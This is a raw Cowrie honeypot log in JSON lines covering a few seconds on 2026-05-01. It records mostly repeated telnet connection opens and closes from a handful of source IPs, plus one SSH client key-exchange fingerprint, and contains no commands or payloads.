{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:29.746648Z","src_ip":"122.168.114.167","session":"687ae916330d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50222,"dst_ip":"159.203.135.109","dst_port":23,"session":"d96a16c02328","protocol":"telnet","message":"New connection: 51.161.172.108:50222 (159.203.135.109:23) [session: d96a16c02328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:29.888165Z"}
{"eventid":"cowrie.session.closed","duration":31.29008197784424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:29.899787Z","src_ip":"45.10.154.244","session":"db45f915bc3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03630232810974,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.061982Z","src_ip":"51.161.172.108","session":"09dac6abf181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":34044,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3dc6800479","protocol":"telnet","message":"New connection: 45.10.154.244:34044 (10.17.0.5:23) [session: 8a3dc6800479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.209238Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50234,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e4b90c2c288","protocol":"telnet","message":"New connection: 51.161.172.108:50234 (159.203.135.109:23) [session: 1e4b90c2c288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.291301Z"}
{"eventid":"cowrie.session.closed","duration":30.722403287887573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.447874Z","src_ip":"51.161.172.108","session":"b09deb8836e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50242,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b0d17e81024","protocol":"telnet","message":"New connection: 51.161.172.108:50242 (159.203.135.109:23) [session: 6b0d17e81024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.485945Z"}
{"eventid":"cowrie.session.closed","duration":31.88418197631836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.694836Z","src_ip":"51.161.172.108","session":"9860b611198d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.7453498840332,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.747781Z","src_ip":"51.161.172.108","session":"a8173baff3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50258,"dst_ip":"159.203.135.109","dst_port":23,"session":"4051bf7fd812","protocol":"telnet","message":"New connection: 51.161.172.108:50258 (159.203.135.109:23) [session: 4051bf7fd812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.853686Z"}
{"eventid":"cowrie.session.closed","duration":31.11085343360901,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:30.975818Z","src_ip":"45.10.154.244","session":"87c92d5e81ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50262,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e3bde8f917","protocol":"telnet","message":"New connection: 51.161.172.108:50262 (159.203.135.109:23) [session: 67e3bde8f917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.058009Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50270,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ce8241c8709","protocol":"telnet","message":"New connection: 51.161.172.108:50270 (159.203.135.109:23) [session: 5ce8241c8709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.062805Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50284,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f590be2962e","protocol":"telnet","message":"New connection: 51.161.172.108:50284 (159.203.135.109:23) [session: 7f590be2962e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.167203Z"}
{"eventid":"cowrie.session.closed","duration":30.779287099838257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.212813Z","src_ip":"51.161.172.108","session":"241676ba53c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50288,"dst_ip":"159.203.135.109","dst_port":23,"session":"28844a3dd196","protocol":"telnet","message":"New connection: 51.161.172.108:50288 (159.203.135.109:23) [session: 28844a3dd196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.389248Z"}
{"eventid":"cowrie.session.closed","duration":31.04140591621399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.455821Z","src_ip":"51.161.172.108","session":"ac30d111a872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689374923706055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.558192Z","src_ip":"51.161.172.108","session":"31f3485dfdae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50302,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a939195bde7","protocol":"telnet","message":"New connection: 51.161.172.108:50302 (159.203.135.109:23) [session: 2a939195bde7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:31.830365Z"}
{"eventid":"cowrie.session.closed","duration":30.83272957801819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.079223Z","src_ip":"45.10.154.244","session":"5ad7d24b6563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50340,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f18e84119f","protocol":"telnet","message":"New connection: 51.161.172.108:50340 (159.203.135.109:23) [session: 91f18e84119f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.219124Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50360,"dst_ip":"159.203.135.109","dst_port":23,"session":"83e6189a9d6e","protocol":"telnet","message":"New connection: 51.161.172.108:50360 (159.203.135.109:23) [session: 83e6189a9d6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.553654Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50372,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae384193750f","protocol":"telnet","message":"New connection: 51.161.172.108:50372 (159.203.135.109:23) [session: ae384193750f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.574202Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50354,"dst_ip":"159.203.135.109","dst_port":23,"session":"008e53d47c48","protocol":"telnet","message":"New connection: 51.161.172.108:50354 (159.203.135.109:23) [session: 008e53d47c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.656750Z"}
{"eventid":"cowrie.session.closed","duration":31.12421154975891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.806043Z","src_ip":"51.161.172.108","session":"017b87e78c7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80329942703247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.974303Z","src_ip":"45.10.154.244","session":"7bef4ddf19f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.957109689712524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:32.994745Z","src_ip":"51.161.172.108","session":"a7a92a85e828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50378,"dst_ip":"159.203.135.109","dst_port":23,"session":"60246ef17696","protocol":"telnet","message":"New connection: 51.161.172.108:50378 (159.203.135.109:23) [session: 60246ef17696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.020175Z"}
{"eventid":"cowrie.session.closed","duration":32.15018391609192,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.063832Z","src_ip":"51.161.172.108","session":"52d98936dca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50392,"dst_ip":"159.203.135.109","dst_port":23,"session":"76dc610320cf","protocol":"telnet","message":"New connection: 51.161.172.108:50392 (159.203.135.109:23) [session: 76dc610320cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.081102Z"}
{"eventid":"cowrie.session.closed","duration":31.004409074783325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.153203Z","src_ip":"51.161.172.108","session":"3f9f17f8dfde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16323161125183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.409620Z","src_ip":"51.161.172.108","session":"77356e57a31e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994370698928833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.427048Z","src_ip":"51.161.172.108","session":"08dc54fae0e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.65998291969299,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.488368Z","src_ip":"51.161.172.108","session":"fc6d3b055ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153236627578735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.542710Z","src_ip":"51.161.172.108","session":"e0e179182219","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50400,"dst_ip":"159.203.135.109","dst_port":23,"session":"635a5fa2f706","protocol":"telnet","message":"New connection: 51.161.172.108:50400 (159.203.135.109:23) [session: 635a5fa2f706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.617033Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50414,"dst_ip":"159.203.135.109","dst_port":23,"session":"c62f5c9d94e9","protocol":"telnet","message":"New connection: 51.161.172.108:50414 (159.203.135.109:23) [session: c62f5c9d94e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.664720Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46958,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4a835f82f7","protocol":"telnet","message":"New connection: 45.10.154.244:46958 (10.17.0.5:23) [session: 4b4a835f82f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.766791Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50416,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3cf171e8d0","protocol":"telnet","message":"New connection: 51.161.172.108:50416 (159.203.135.109:23) [session: 3b3cf171e8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:33.833708Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48000,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd60b0e7cd7","protocol":"telnet","message":"New connection: 45.10.154.244:48000 (10.17.0.5:23) [session: fbd60b0e7cd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.037204Z"}
{"eventid":"cowrie.session.closed","duration":"50.4","message":"Connection lost after 50.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.205537Z","src_ip":"122.168.114.167","session":"0760079509c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.888554334640503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.326556Z","src_ip":"51.161.172.108","session":"b922c902e81f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944137573242188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.410590Z","src_ip":"45.10.154.244","session":"053d650bac7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48353385925293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.489167Z","src_ip":"51.161.172.108","session":"7f8ad91379a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50446,"dst_ip":"159.203.135.109","dst_port":23,"session":"2973d79da0ad","protocol":"telnet","message":"New connection: 51.161.172.108:50446 (159.203.135.109:23) [session: 2973d79da0ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.521033Z"}
{"eventid":"cowrie.session.closed","duration":30.796234846115112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.529856Z","src_ip":"51.161.172.108","session":"3ffb782bdbcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.52224612236023,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.599282Z","src_ip":"167.99.38.72","session":"d96605116364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50454,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6676e3b1c7","protocol":"telnet","message":"New connection: 51.161.172.108:50454 (159.203.135.109:23) [session: 9d6676e3b1c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.728522Z"}
{"eventid":"cowrie.session.closed","duration":31.81305742263794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.781112Z","src_ip":"51.161.172.108","session":"f15143adc9f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50496,"dst_ip":"159.203.135.109","dst_port":23,"session":"c379de3904b6","protocol":"telnet","message":"New connection: 51.161.172.108:50496 (159.203.135.109:23) [session: c379de3904b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:34.867929Z"}
{"eventid":"cowrie.session.closed","duration":30.462560892105103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.052697Z","src_ip":"45.10.154.244","session":"c43a2893b859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.467918395996094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.072948Z","src_ip":"51.161.172.108","session":"da618f29aa7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52442,"dst_ip":"10.17.0.5","dst_port":23,"session":"18bc7c3b415b","protocol":"telnet","message":"New connection: 45.10.154.244:52442 (10.17.0.5:23) [session: 18bc7c3b415b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.129678Z"}
{"eventid":"cowrie.session.closed","duration":31.15544319152832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.171960Z","src_ip":"51.161.172.108","session":"1bc6cf3f0422","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.513633728027344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.302989Z","src_ip":"51.161.172.108","session":"ba59d42d0d53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987263679504395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.432858Z","src_ip":"51.161.172.108","session":"1a8d51fe3862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50530,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab74187adb80","protocol":"telnet","message":"New connection: 51.161.172.108:50530 (159.203.135.109:23) [session: ab74187adb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.468105Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50564,"dst_ip":"159.203.135.109","dst_port":23,"session":"b957eeb94957","protocol":"telnet","message":"New connection: 51.161.172.108:50564 (159.203.135.109:23) [session: b957eeb94957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.616598Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50558,"dst_ip":"159.203.135.109","dst_port":23,"session":"be6266caaabe","protocol":"telnet","message":"New connection: 51.161.172.108:50558 (159.203.135.109:23) [session: be6266caaabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.620873Z"}
{"eventid":"cowrie.session.closed","duration":31.324816942214966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:35.904650Z","src_ip":"51.161.172.108","session":"5610830f1c0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50518,"dst_ip":"159.203.135.109","dst_port":23,"session":"56a41f3af43b","protocol":"telnet","message":"New connection: 51.161.172.108:50518 (159.203.135.109:23) [session: 56a41f3af43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.145820Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50568,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ef244adcdbd","protocol":"telnet","message":"New connection: 51.161.172.108:50568 (159.203.135.109:23) [session: 2ef244adcdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.249148Z"}
{"eventid":"cowrie.session.closed","duration":30.692943572998047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.293024Z","src_ip":"51.161.172.108","session":"1ddec34f5fb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53358,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dcb18645b51","protocol":"telnet","message":"New connection: 45.10.154.244:53358 (10.17.0.5:23) [session: 5dcb18645b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.381626Z"}
{"eventid":"cowrie.session.closed","duration":30.917139291763306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.435003Z","src_ip":"51.161.172.108","session":"647b399f6e22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10618305206299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.496256Z","src_ip":"51.161.172.108","session":"d30d3b4c3e22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50540,"dst_ip":"159.203.135.109","dst_port":23,"session":"50bf811ce800","protocol":"telnet","message":"New connection: 51.161.172.108:50540 (159.203.135.109:23) [session: 50bf811ce800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.587985Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50582,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfabd0cab49e","protocol":"telnet","message":"New connection: 51.161.172.108:50582 (159.203.135.109:23) [session: cfabd0cab49e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.608531Z"}
{"eventid":"cowrie.session.closed","duration":31.392244577407837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.634035Z","src_ip":"51.161.172.108","session":"a6c370dbdf53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1c3132605cc","protocol":"telnet","message":"New connection: 51.161.172.108:50598 (159.203.135.109:23) [session: e1c3132605cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.802729Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50610,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a441c1f774","protocol":"telnet","message":"New connection: 51.161.172.108:50610 (159.203.135.109:23) [session: 29a441c1f774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:36.808702Z"}
{"eventid":"cowrie.session.closed","duration":30.24393367767334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.073028Z","src_ip":"45.10.154.244","session":"a9705eafddd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.686506271362305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.156074Z","src_ip":"51.161.172.108","session":"9a92435264d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50622,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca04e72438f0","protocol":"telnet","message":"New connection: 51.161.172.108:50622 (159.203.135.109:23) [session: ca04e72438f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.168438Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":41446,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1a501437bf0","protocol":"telnet","message":"New connection: 167.99.38.72:41446 (159.203.135.109:23) [session: c1a501437bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.173406Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50612,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcaa6ee35e7f","protocol":"telnet","message":"New connection: 51.161.172.108:50612 (159.203.135.109:23) [session: bcaa6ee35e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:37.218196Z"}
